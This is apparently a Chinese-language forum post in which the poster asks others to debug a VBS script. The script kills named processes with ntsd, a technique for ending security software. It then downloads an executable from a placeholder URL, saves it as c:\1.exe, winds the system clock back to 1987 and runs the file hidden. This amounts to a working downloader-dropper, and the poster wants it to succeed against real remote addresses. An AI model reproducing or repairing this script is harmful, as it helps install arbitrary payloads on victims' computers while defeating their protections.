大家看看我这段VBS脚本代码那里有错误?

on error resume next
Set XXXXzlzl=CreateObject("Wscript.Shell") Set sssxXXclean=CreateObject("ADODB.Stream")
Set ZZZzzzXXX = CreateObject("Msxml2.XMLHTTP")
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if ps.Name="xx.exe" or ps.name="xx.exe"then 
XXXXzlzl.run "ntsd -p "+cstr(+ps.handle) +" -c q",0
end if
next
ZZZzzzXXX.Open "GET","http://xxx.xx.com/xx.exe",0
ZZZzzzXXX.Send()
wscript.sleep 10000
sssxXXclean.Mode=3
sssxXXclean.Type=1
sssxXXclean.Open()
sssxXXclean.Write(ZZZzzzXXX.responseBody)
sssxXXclean.SaveToFile "c:\1.exe"
XXXXzlzl.run ("cmd /c set date=%date% &&date 1987-1-1 &&ping -n 15 127.0.0.1 &&start c:\1.exe &&date %date% "),0
==================================================================================
以上代码在本地测试成功!
但是把http://xxx.xx.com/xx.exe 地址换成网络实际地址就无法完全下载到XX.EXE
下载后无法运行！但是在本地测试都是很好用的！在线等答案!